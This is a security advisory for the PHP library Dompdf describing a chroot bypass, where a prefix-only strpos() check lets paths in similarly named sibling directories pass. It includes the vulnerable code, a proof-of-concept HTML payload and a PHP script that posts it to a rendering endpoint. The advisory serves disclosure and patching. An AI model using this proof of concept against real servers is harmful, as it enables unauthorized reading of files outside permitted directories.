GHSA-wvh6-f5jh-8gw4

Suggest an improvement
Source
https://github.com/advisories/GHSA-wvh6-f5jh-8gw4
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-wvh6-f5jh-8gw4/GHSA-wvh6-f5jh-8gw4.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-wvh6-f5jh-8gw4
Aliases
Published
2026-07-22T21:06:48Z
Modified
2026-07-22T21:39:41Z
Severity
  • 2.3 (Low) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
Dompdf: Chroot Validation Bypass
Details

Summary

The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.

This allows attacker-controlled document paths/resources to bypass intended local file restrictions.

Details

The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:

    public function validateLocalUri(string $uri)
    {
        ...
        $realfile = realpath(str_replace("file://", "", $uri));
        ...
        foreach ($dirs as $chrootPath) {
            $chrootPath = realpath($chrootPath);
            if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
                $chrootValid = true;

Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a prefix of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.

For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/www_backup, despite these being different directories.

PoC

With a directory structure similar to:

/home/dompdf/
  |--> web/
        |--> pdf.php
        |--> cat0.jpg
  |--> web-admin/
        |--> cat1.jpg

And web-accessible Dompdf functionality similar to the following (poc.html):

<?php
require 'vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->setChroot(['/home/dompdf/web/']);
$dompdf = new Dompdf($options);

$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream();
?>

A malicious actor can exploit the vulnerability with the following script:

$html = <<<HTML
<!DOCTYPE html>
<html>
    <body>
        <p>within chroot</p>
            <img src="/home/dompdf/web/cat0.jpg">
        <p>outside of chroot</p>
            <img src="/home/dompdf/web-admin/cat1.jpg">
    </body>
</html>
HTML;

$url = 'http://example.com/poc.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];

// use key 'http' even if you send the request to https://...
$options = [
    'http' => [
        'header' => $headers,
        'method' => 'POST',
        'content' => http_build_query($data),
        'ignore_errors' => true,
    ],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.

Impact

An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.

Database specific
{
    "cwe_ids": [
        "CWE-20",
        "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T21:06:48Z",
    "nvd_published_at": null,
    "severity": "LOW"
}
References

Affected packages

Packagist / dompdf/dompdf

Package

Name
dompdf/dompdf
Purl
pkg:composer/dompdf/dompdf

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
3.1.6

Affected versions

v0.*
v0.6.0
v0.6.1
v0.6.2
v0.7.0-beta
v0.7.0-beta2
v0.7.0-beta3
v0.7.0
v0.8.0
v0.8.1
v0.8.2
v0.8.3
v0.8.4
v0.8.5
v0.8.6
v1.*
v1.0.0
v1.0.1
v1.0.2
v1.1.0
v1.1.1
v1.2.0
v1.2.1
v1.2.2
v2.*
v2.0.0
v2.0.1
v2.0.2
v2.0.3
v2.0.4
v2.0.5
v2.0.7
v2.0.8
v3.*
v3.0.0
v3.0.1
v3.0.2
v3.1.0
v3.1.1
v3.1.2
v3.1.3
v3.1.4
v3.1.5

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-wvh6-f5jh-8gw4/GHSA-wvh6-f5jh-8gw4.json"